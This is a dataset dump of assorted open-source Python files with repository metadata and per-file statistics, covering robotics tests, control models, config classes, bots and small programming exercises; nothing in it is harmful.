# A triplet of text, re... | 40.650538 | 98 | 0.636291 | 1,051 | 7,561 | 4.44529 | 0.265461 | 0.015411 | 0.013913 | 0.019264 | 0.144478 | 0.126284 | 0.113442 | 0.110445 | 0.099315 | 0.099315 | 0 | 0.007624 | 0.271393 | 7,561 | 185 | 99 | 40.87027 | 0.840443 | 0.389896 | 0 | 0.021505 | 0 | 0 | 0.101354 | 0 | 0 | 0 | 0 | 0.005405 | 0.010753 | 1 | 0.043011 | false | 0.064516 | 0.086022 | 0 | 0.172043 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
439f93c7ad47461a145ca10fa2a8da88d5585304 | 1,512 | py | Python | firecracker/config.py | cpascariello/aleph-vm | 1b4920bec211ef3bd379e9359f57f06b9308c1a1 | [
"MIT"
] | null | null | null | firecracker/config.py | cpascariello/aleph-vm | 1b4920bec211ef3bd379e9359f57f06b9308c1a1 | [
"MIT"
] | null | null | null | firecracker/config.py | cpascariello/aleph-vm | 1b4920bec211ef3bd379e9359f57f06b9308c1a1 | [
"MIT"
] | null | null | null | from typing import List, Optional
from firecracker.models import FilePath
from pydantic import BaseModel, PositiveInt
VSOCK_PATH = "/tmp/v.sock"
class BootSource(BaseModel):
kernel_image_path: FilePath = "vmlinux.bin"
boot_args: str = (
"console=ttyS0 reboot=k panic=1 pci=off "
"ro noapic no... | 25.2 | 84 | 0.685185 | 193 | 1,512 | 5.181347 | 0.53886 | 0.024 | 0.024 | 0.026 | 0.104 | 0.104 | 0.104 | 0.104 | 0.104 | 0.104 | 0 | 0.019541 | 0.221561 | 1,512 | 59 | 85 | 25.627119 | 0.830076 | 0 | 0 | 0 | 0 | 0 | 0.168651 | 0.031085 | 0 | 0 | 0 | 0 | 0 | 1 | 0.023256 | false | 0 | 0.069767 | 0 | 0.767442 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
43a1e0ce3dda4de7afc3c0bcdf5248e18b221ca5 | 1,705 | py | Python | ros2node/test/test_node.py | sunbo57123/ros2cli_common_extension | 75d07113c1c029848aab70f3fcdd2ae23b0a99e1 | [
"Apache-2.0"
] | 90 | 2017-06-06T22:16:23.000Z | 2022-03-08T20:16:05.000Z | ros2node/test/test_node.py | sunbo57123/ros2cli_common_extension | 75d07113c1c029848aab70f3fcdd2ae23b0a99e1 | [
"Apache-2.0"
] | 586 | 2017-06-12T18:00:16.000Z | 2022-03-29T21:17:13.000Z | ros2node/test/test_node.py | sunbo57123/ros2cli_common_extension | 75d07113c1c029848aab70f3fcdd2ae23b0a99e1 | [
"Apache-2.0"
] | 108 | 2017-07-11T16:20:12.000Z | 2022-03-27T21:30:22.000Z | # Copyright 2019 Open Source Robotics Foundation, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law... | 37.065217 | 75 | 0.704399 | 248 | 1,705 | 4.693548 | 0.354839 | 0.103093 | 0.089347 | 0.058419 | 0.45189 | 0.45189 | 0.350515 | 0.305842 | 0.305842 | 0.305842 | 0 | 0.008578 | 0.179472 | 1,705 | 45 | 76 | 37.888889 | 0.823445 | 0.398827 | 0 | 0.48 | 0 | 0 | 0.166998 | 0 | 0 | 0 | 0 | 0 | 0.68 | 1 | 0.08 | false | 0 | 0.08 | 0 | 0.16 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
43a3c0ac105611dd289d3c7a5bdb03e8d68e9f15 | 5,315 | py | Python | Development/New/Batch_reactor1.py | nprakash13/MPC-Case-Study | dafd5eae3af5be332d33574d53adc596f75973a6 | [
"CNRI-Python"
] | null | null | null | Development/New/Batch_reactor1.py | nprakash13/MPC-Case-Study | dafd5eae3af5be332d33574d53adc596f75973a6 | [
"CNRI-Python"
] | null | null | null | Development/New/Batch_reactor1.py | nprakash13/MPC-Case-Study | dafd5eae3af5be332d33574d53adc596f75973a6 | [
"CNRI-Python"
] | 2 | 2020-12-12T17:52:52.000Z | 2020-12-19T23:14:26.000Z | #
# This file is part of do-mpc
#
# do-mpc: An environment for the easy, modular and efficient implementation of
# robust nonlinear model predictive control
#
# Copyright (c) 2014-2019 Sergio Lucia, Alexandru Tatulea-Codrean
# TU Dortmund. All rights reserved
#
# do-mpc is free sof... | 26.053922 | 95 | 0.684666 | 820 | 5,315 | 4.287805 | 0.317073 | 0.022753 | 0.025597 | 0.030717 | 0.386234 | 0.32992 | 0.298919 | 0.298919 | 0.26678 | 0.26678 | 0 | 0.025488 | 0.180621 | 5,315 | 203 | 96 | 26.182266 | 0.78186 | 0.566698 | 0 | 0.063492 | 0 | 0 | 0.062139 | 0.012042 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0.015873 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
43a7e6850f902960563e0743d153c2f491418194 | 195 | py | Python | stop.py | kevinmcaleer/SMARSLab | b847a78a61dc04fcb43d1660a6ea55ec9e84bee0 | [
"Apache-2.0"
] | 10 | 2019-02-03T23:46:08.000Z | 2021-12-26T17:31:21.000Z | stop.py | kevinmcaleer/SMARSLab | b847a78a61dc04fcb43d1660a6ea55ec9e84bee0 | [
"Apache-2.0"
] | 27 | 2019-06-09T09:09:24.000Z | 2022-02-11T21:47:33.000Z | stop.py | kevinmcaleer/SMARSLab | b847a78a61dc04fcb43d1660a6ea55ec9e84bee0 | [
"Apache-2.0"
] | 5 | 2020-06-24T18:49:40.000Z | 2022-03-08T10:11:48.000Z | import serial
import time
print("Start")
port="/dev/tty.HC-05-DevB"
bluetooth=serial.Serial(port, 9600)
print("connected")
bluetooth.flushInput()
bluetooth.write(str.encode('s'))
print("stop!")
| 17.727273 | 35 | 0.74359 | 28 | 195 | 5.178571 | 0.714286 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.032967 | 0.066667 | 195 | 10 | 36 | 19.5 | 0.763736 | 0 | 0 | 0 | 0 | 0 | 0.2 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.222222 | 0 | 0.222222 | 0.333333 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
43a90547954542bb0eb2f84509af16631e75f6c7 | 253 | py | Python | CursoPython/Exercicios/Ex049.py | LuccasTraumer/pythonRepositorio | 52d4455cea0615c8eba7ab4c6224ce3350bbcf47 | [
"MIT"
] | null | null | null | CursoPython/Exercicios/Ex049.py | LuccasTraumer/pythonRepositorio | 52d4455cea0615c8eba7ab4c6224ce3350bbcf47 | [
"MIT"
] | null | null | null | CursoPython/Exercicios/Ex049.py | LuccasTraumer/pythonRepositorio | 52d4455cea0615c8eba7ab4c6224ce3350bbcf47 | [
"MIT"
] | null | null | null | '''
Refaça o DESAFIO 009, mostrando a tabuada de um número que o usuário escolher, só que agora utilizando um laço for.
'''
n1 = int(input('Digite o Valor que quer saber a Tabuada: '))
for c in range(1,11,):
print('{} X {} é = {}'.format(n1,c,n1*c)) | 42.166667 | 115 | 0.660079 | 46 | 253 | 3.630435 | 0.73913 | 0.095808 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.043689 | 0.185771 | 253 | 6 | 116 | 42.166667 | 0.76699 | 0.454545 | 0 | 0 | 0 | 0 | 0.419847 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.333333 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
43aded0b4e914fa111693aeb6a3ee2425f65fccb | 359 | py | Python | LanguageProcessing/100-knocks-2015/chapter1/03.py | t2y/python-study | 52a132ea600d4696164e540d8a8f8f5fc58e097a | [
"Apache-2.0"
] | 18 | 2016-08-15T00:24:44.000Z | 2020-11-30T15:11:52.000Z | LanguageProcessing/100-knocks-2015/chapter1/03.py | t2y/python-study | 52a132ea600d4696164e540d8a8f8f5fc58e097a | [
"Apache-2.0"
] | null | null | null | LanguageProcessing/100-knocks-2015/chapter1/03.py | t2y/python-study | 52a132ea600d4696164e540d8a8f8f5fc58e097a | [
"Apache-2.0"
] | 6 | 2016-09-28T10:47:03.000Z | 2020-10-14T10:20:06.000Z | """
03. 円周率
"Now I need a drink, alcoholic of course, after the heavy lectures involving quantum mechanics."という文を単語に分解し,各単語の(アルファベットの)文字数を先頭から出現順に並べたリストを作成せよ.
"""
s = 'Now I need a drink, alcoholic of course, after the heavy lectures involving quantum mechanics.'
words = s.replace(',', '').replace('.', '').split()
prin... | 44.875 | 146 | 0.718663 | 51 | 359 | 5.058824 | 0.607843 | 0.031008 | 0.062016 | 0.069767 | 0.596899 | 0.596899 | 0.596899 | 0.596899 | 0.596899 | 0.596899 | 0 | 0.00639 | 0.128134 | 359 | 7 | 147 | 51.285714 | 0.817891 | 0.428969 | 0 | 0 | 0 | 0 | 0.48731 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.333333 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
43b57558590bf674e535a0ab979c70385a967ad9 | 6,501 | py | Python | python_modules/dagster/dagster/config/traversal_context.py | bitdotioinc/dagster | 4fe395a37b206b1a48b956fa5dd72bf698104cca | [
"Apache-2.0"
] | 2 | 2021-06-21T17:50:26.000Z | 2021-06-21T19:14:23.000Z | python_modules/dagster/dagster/config/traversal_context.py | bitdotioinc/dagster | 4fe395a37b206b1a48b956fa5dd72bf698104cca | [
"Apache-2.0"
] | 7 | 2022-03-16T06:55:04.000Z | 2022-03-18T07:03:25.000Z | python_modules/dagster/dagster/config/traversal_context.py | bitdotioinc/dagster | 4fe395a37b206b1a48b956fa5dd72bf698104cca | [
"Apache-2.0"
] | 1 | 2021-08-18T17:21:57.000Z | 2021-08-18T17:21:57.000Z | from enum import Enum
from dagster import check
from .config_type import ConfigType
from .field import Field
from .iterate_types import config_schema_snapshot_from_config_type, iterate_config_types
from .snap import ConfigFieldSnap, ConfigSchemaSnapshot, ConfigTypeSnap, snap_from_config_type
from .stack import Evalua... | 35.71978 | 100 | 0.694047 | 763 | 6,501 | 5.433814 | 0.079948 | 0.14713 | 0.188133 | 0.115774 | 0.659913 | 0.585866 | 0.494452 | 0.453449 | 0.430777 | 0.38302 | 0 | 0 | 0.236118 | 6,501 | 181 | 101 | 35.917127 | 0.834877 | 0 | 0 | 0.430464 | 0 | 0 | 0.043686 | 0.011844 | 0 | 0 | 0 | 0 | 0 | 1 | 0.125828 | false | 0 | 0.046358 | 0.072848 | 0.344371 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
43b9c3639ad4afd6f26f1d1d24d241f62f0cc3d5 | 1,488 | py | Python | glennSelectApp.py | gsalaman/GridBoard | adecb482256198e27bfedf3e0e1d0d0595357614 | [
"MIT"
] | 1 | 2021-09-15T16:49:43.000Z | 2021-09-15T16:49:43.000Z | glennSelectApp.py | gsalaman/GridBoard | adecb482256198e27bfedf3e0e1d0d0595357614 | [
"MIT"
] | 7 | 2021-09-15T16:51:30.000Z | 2021-09-17T17:19:10.000Z | glennSelectApp.py | gsalaman/GridBoard | adecb482256198e27bfedf3e0e1d0d0595357614 | [
"MIT"
] | null | null | null | ##############################################
# UPDATE ME!!!!!
# selectApp
#
# In this iteration, we display the full menu (no animation) and wait for a
# button press. On press, we go back to the splash screen.
#
# Future versions will timeout back to the splash screen, and advance to
# game on button presses.
###... | 32.347826 | 76 | 0.53629 | 181 | 1,488 | 4.276243 | 0.469613 | 0.093023 | 0.05168 | 0.036176 | 0.103359 | 0 | 0 | 0 | 0 | 0 | 0 | 0.015192 | 0.247984 | 1,488 | 45 | 77 | 33.066667 | 0.676497 | 0.230511 | 0 | 0 | 0 | 0 | 0.033755 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.166667 | null | null | 0.041667 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
43bb645b015ed7635a21add30cdccc883f828d5b | 2,392 | py | Python | league-site/data/bot.py | turner-prize/league-site | 580408cd3b87be8407b179198982e5749bd3d324 | [
"MIT"
] | 1 | 2019-08-09T20:14:33.000Z | 2019-08-09T20:14:33.000Z | league-site/data/bot.py | turner-prize/league-site | 580408cd3b87be8407b179198982e5749bd3d324 | [
"MIT"
] | 3 | 2021-10-06T09:59:34.000Z | 2022-02-26T20:22:51.000Z | league-site/data/bot.py | turner-prize/league-site | 580408cd3b87be8407b179198982e5749bd3d324 | [
"MIT"
] | null | null | null | #!/usr/bin/python
from telegram.ext import Updater,CommandHandler, MessageHandler, BaseFilter, Filters
import time
import commands
from btoken import BotToken
def MessageCheck(Message):
MyList = ["Dan","Neil","Shed","Matt","Shane","Ads","Tom","Elliott","Crigs","Rholo","Sam"]
for iname in MyList:
if re... | 31.473684 | 140 | 0.701505 | 323 | 2,392 | 5.083591 | 0.337461 | 0.065773 | 0.134592 | 0.104141 | 0.406821 | 0.358709 | 0.343484 | 0.343484 | 0.299635 | 0.264312 | 0 | 0.005397 | 0.147993 | 2,392 | 75 | 141 | 31.893333 | 0.800294 | 0.046823 | 0 | 0.215686 | 0 | 0 | 0.127585 | 0.042675 | 0 | 0 | 0 | 0 | 0 | 1 | 0.137255 | false | 0.058824 | 0.078431 | 0 | 0.235294 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
43bc1a3b85855ac1667582a17fffe3a14fc578cb | 10,942 | py | Python | extensions/ml_recommender/python/tests/test_data_loader.py | woon5118/totara_ub | a38f8e5433c93d295f6768fb24e5eecefa8294cd | [
"PostgreSQL"
] | null | null | null | extensions/ml_recommender/python/tests/test_data_loader.py | woon5118/totara_ub | a38f8e5433c93d295f6768fb24e5eecefa8294cd | [
"PostgreSQL"
] | null | null | null | extensions/ml_recommender/python/tests/test_data_loader.py | woon5118/totara_ub | a38f8e5433c93d295f6768fb24e5eecefa8294cd | [
"PostgreSQL"
] | null | null | null | """
This file is part of Totara Enterprise Extensions.
Copyright (C) 2020 onwards Totara Learning Solutions LTD
Totara Enterprise Extensions is provided only to Totara
Learning Solutions LTD's customers and partners, pursuant to
the terms and conditions of a separate agreement with Totara
Learning Solutions LTD or it... | 51.85782 | 114 | 0.682416 | 1,364 | 10,942 | 5.237537 | 0.15176 | 0.092385 | 0.050392 | 0.044793 | 0.526036 | 0.426372 | 0.273516 | 0.218085 | 0.152716 | 0.113662 | 0 | 0.004389 | 0.229574 | 10,942 | 210 | 115 | 52.104762 | 0.843061 | 0.260556 | 0 | 0.103704 | 0 | 0 | 0.084142 | 0 | 0 | 0 | 0 | 0 | 0.437037 | 1 | 0.066667 | false | 0 | 0.051852 | 0 | 0.125926 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
43bedca7c2bd26728d7f2bf8597ac5d3d5fcb332 | 786 | py | Python | snakepack/loaders/generic.py | jochenvdv/snakepack | f27c5953c5f058a82b8cce55b23cdf32cc1f6602 | [
"MIT"
] | 1 | 2022-01-27T07:15:27.000Z | 2022-01-27T07:15:27.000Z | snakepack/loaders/generic.py | jochenvdv/snakepack | f27c5953c5f058a82b8cce55b23cdf32cc1f6602 | [
"MIT"
] | null | null | null | snakepack/loaders/generic.py | jochenvdv/snakepack | f27c5953c5f058a82b8cce55b23cdf32cc1f6602 | [
"MIT"
] | null | null | null | from pathlib import Path
from typing import Sequence
from snakepack.assets import AssetGroup
from snakepack.assets._base import GenericAssetGroup, FileContentSource
from snakepack.assets.generic import StaticFile
from snakepack.config.options import Options
from snakepack.loaders import Loader
class StaticFileLoader... | 25.354839 | 71 | 0.680662 | 79 | 786 | 6.670886 | 0.417722 | 0.12334 | 0.108159 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.251908 | 786 | 31 | 72 | 25.354839 | 0.896259 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.043478 | false | 0 | 0.304348 | 0 | 0.478261 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
43c151b0b9ffe51587dd7817647e971ae2333c01 | 4,521 | py | Python | securetea/lib/notifs/secureTeaMalwareAnalysis.py | Off3nsiv3huNt/SecureTea-Project | ae55082d4a342f10099db4dead23267a517e1a66 | [
"MIT"
] | 257 | 2018-03-28T12:43:20.000Z | 2022-03-29T07:07:23.000Z | securetea/lib/notifs/secureTeaMalwareAnalysis.py | Off3nsiv3huNt/SecureTea-Project | ae55082d4a342f10099db4dead23267a517e1a66 | [
"MIT"
] | 155 | 2018-03-31T14:57:46.000Z | 2022-03-17T18:12:41.000Z | securetea/lib/notifs/secureTeaMalwareAnalysis.py | Off3nsiv3huNt/SecureTea-Project | ae55082d4a342f10099db4dead23267a517e1a66 | [
"MIT"
] | 132 | 2018-03-27T06:25:20.000Z | 2022-03-28T11:32:45.000Z | # !/bin/python
# -*- coding: utf-8 -*-
u"""SecureTea Social Engineering
Project:
╔═╗┌─┐┌─┐┬ ┬┬─┐┌─┐╔╦╗┌─┐┌─┐
╚═╗├┤ │ │ │├┬┘├┤ ║ ├┤ ├─┤
╚═╝└─┘└─┘└─┘┴└─└─┘ ╩ └─┘┴ ┴
Author: Digvijay Bhosale <digvijayb1729@gmail.com> August 15 2021
Version: 1.0
Module: SecureTea
"""
# This is a vestigal file.
#... | 38.313559 | 149 | 0.512497 | 479 | 4,521 | 4.889353 | 0.300626 | 0.054654 | 0.040991 | 0.064902 | 0.435952 | 0.327071 | 0.309991 | 0.309991 | 0.309991 | 0.269855 | 0 | 0.011769 | 0.379783 | 4,521 | 118 | 150 | 38.313559 | 0.798859 | 0.072329 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
43c1be2a4e73debcc837f7abbe63323bd64bac59 | 930 | py | Python | pymoo/config.py | jarreguit/pymoo | 0496a3c6765826148d8bab21650736760517dd25 | [
"Apache-2.0"
] | 762 | 2018-06-05T20:56:09.000Z | 2021-09-14T09:09:42.000Z | pymoo/config.py | jarreguit/pymoo | 0496a3c6765826148d8bab21650736760517dd25 | [
"Apache-2.0"
] | 176 | 2018-09-05T18:37:05.000Z | 2021-09-14T01:18:43.000Z | pymoo/config.py | jarreguit/pymoo | 0496a3c6765826148d8bab21650736760517dd25 | [
"Apache-2.0"
] | 160 | 2018-08-05T05:31:20.000Z | 2021-09-14T09:09:45.000Z | from os.path import dirname, realpath
from pymoo.version import __version__
class Config:
"""
The configuration of this package in general providing the place
for declaring global variables.
"""
# the root directory where the package is located at
root = dirname(realpath(__file__))
# wh... | 26.571429 | 97 | 0.686022 | 119 | 930 | 5.184874 | 0.672269 | 0.048622 | 0.048622 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.247312 | 930 | 34 | 98 | 27.352941 | 0.881429 | 0.386022 | 0 | 0 | 0 | 0 | 0.173358 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.125 | false | 0 | 0.125 | 0.0625 | 0.625 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
43c509700811db1aa1d32332c7400994536e5aea | 1,759 | py | Python | shgo/_shgo_lib/_field.py | lepy/shgo | 6d4384e2d839956e8b374ea630d00f369a71d757 | [
"MIT"
] | null | null | null | shgo/_shgo_lib/_field.py | lepy/shgo | 6d4384e2d839956e8b374ea630d00f369a71d757 | [
"MIT"
] | null | null | null | shgo/_shgo_lib/_field.py | lepy/shgo | 6d4384e2d839956e8b374ea630d00f369a71d757 | [
"MIT"
] | null | null | null | import numpy as np
"""
Field cache objects
"""
class FieldCache(object):
"""
Base class providing a cache for field computations
"""
def __init__(self, vcache, g_cons=None, g_cons_args=()):
self.V = vcache # Reference to a vertex cache
self.nfev = 0
self.g_cons = g_cons
... | 30.859649 | 78 | 0.591814 | 239 | 1,759 | 4.192469 | 0.368201 | 0.06487 | 0.053892 | 0.04491 | 0.191617 | 0.191617 | 0.155689 | 0.155689 | 0.06986 | 0.06986 | 0 | 0.002515 | 0.321774 | 1,759 | 57 | 79 | 30.859649 | 0.837385 | 0.342808 | 0 | 0 | 0 | 0 | 0.00098 | 0 | 0 | 0 | 0 | 0.035088 | 0 | 1 | 0.185185 | false | 0 | 0.037037 | 0 | 0.296296 | 0.037037 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
43c8202635748c0124747f3c3440db00226ebcde | 281 | py | Python | anytask/schools/urls.py | antselevich/anytask | b00ea8ad929f267ac4a37d1a0eaabce28c5b02cf | [
"MIT"
] | 31 | 2015-03-24T21:11:44.000Z | 2022-03-28T22:55:12.000Z | anytask/schools/urls.py | antselevich/anytask | b00ea8ad929f267ac4a37d1a0eaabce28c5b02cf | [
"MIT"
] | 286 | 2015-06-11T10:32:16.000Z | 2022-03-28T12:01:04.000Z | anytask/schools/urls.py | bcskda/anytask | 5a359dcb669b689fc5a4f1705f2c88cd031ab37d | [
"MIT"
] | 44 | 2015-05-23T21:30:51.000Z | 2021-11-07T12:56:59.000Z | from django.conf.urls import url
from schools import views
urlpatterns = [
url(r'^(?P<school_link>\w+)$', views.school_page,
name="schools.views.school_page"),
url(r'^(?P<school_link>\w+)/archive$', views.archive_page,
name="schools.views.archive_page")
]
| 28.1 | 62 | 0.672598 | 40 | 281 | 4.575 | 0.425 | 0.043716 | 0.054645 | 0.120219 | 0.174863 | 0.174863 | 0 | 0 | 0 | 0 | 0 | 0 | 0.153025 | 281 | 9 | 63 | 31.222222 | 0.768908 | 0 | 0 | 0 | 0 | 0 | 0.366548 | 0.366548 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.25 | 0 | 0.25 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
43ca5e7f56d14ceeaa5126693604523d77887dc6 | 1,614 | py | Python | programmeNSI/cours/exo/exoTuple.py | NsiLycee/premiere | 2814a21860e227e2db01ea201b1c4d99723a0562 | [
"Unlicense"
] | null | null | null | programmeNSI/cours/exo/exoTuple.py | NsiLycee/premiere | 2814a21860e227e2db01ea201b1c4d99723a0562 | [
"Unlicense"
] | null | null | null | programmeNSI/cours/exo/exoTuple.py | NsiLycee/premiere | 2814a21860e227e2db01ea201b1c4d99723a0562 | [
"Unlicense"
] | null | null | null | """
Auteur : Joël Dendaletche
Exercices sur les tuples
"""
"""
Exo 1 : écrire une fonction qui cherche simultanément l'élément de
valeur minimale et l'élément de valeur maximale dans la liste des
éléments d'un tuple
et
renvoie un tuple (min, max)
Afficher le résultat pour les éléments du jeuD... | 23.391304 | 68 | 0.537794 | 232 | 1,614 | 3.711207 | 0.409483 | 0.013937 | 0.010453 | 0.037166 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.041133 | 0.322181 | 1,614 | 68 | 69 | 23.735294 | 0.744059 | 0 | 0 | 0 | 0 | 0 | 0.035437 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0.085714 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
43d8ebc86f6e957000f76d7e7458a93228adda97 | 2,035 | py | Python | tests/test_package.py | python-proman/proman-packaging | 320191455fbf8f41223cd7b03c6a0d706431ceb6 | [
"Apache-2.0"
] | null | null | null | tests/test_package.py | python-proman/proman-packaging | 320191455fbf8f41223cd7b03c6a0d706431ceb6 | [
"Apache-2.0"
] | null | null | null | tests/test_package.py | python-proman/proman-packaging | 320191455fbf8f41223cd7b03c6a0d706431ceb6 | [
"Apache-2.0"
] | null | null | null | # type: ignore
import json
config = {'tool': {}}
# table = tomlkit.table()
config['tool'].update(
{
'dependencies': [
{'package': 'test1', 'version': '1.0.0'},
{'package': 'test2', 'version': '2.0.0'},
],
'dev-dependencies': [
{'package': 'dev-test1', 've... | 28.263889 | 80 | 0.542015 | 238 | 2,035 | 4.579832 | 0.226891 | 0.100917 | 0.181651 | 0.110092 | 0.475229 | 0.409174 | 0.317431 | 0.317431 | 0.288991 | 0.253211 | 0 | 0.022398 | 0.254054 | 2,035 | 71 | 81 | 28.661972 | 0.695652 | 0.388698 | 0 | 0.162162 | 0 | 0 | 0.271369 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.108108 | false | 0 | 0.027027 | 0 | 0.135135 | 0.108108 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
43decea4668c71f4e98a79cbe27dfcea270f3988 | 870 | py | Python | flint/tests/test_commands.py | Aradhya-Tripathi/flint | 34af5f15a29eac32f1f2bc3506ac028c7f542b65 | [
"MIT"
] | 2 | 2022-02-23T05:45:33.000Z | 2022-02-23T07:54:41.000Z | flint/tests/test_commands.py | Aradhya-Tripathi/flint | 34af5f15a29eac32f1f2bc3506ac028c7f542b65 | [
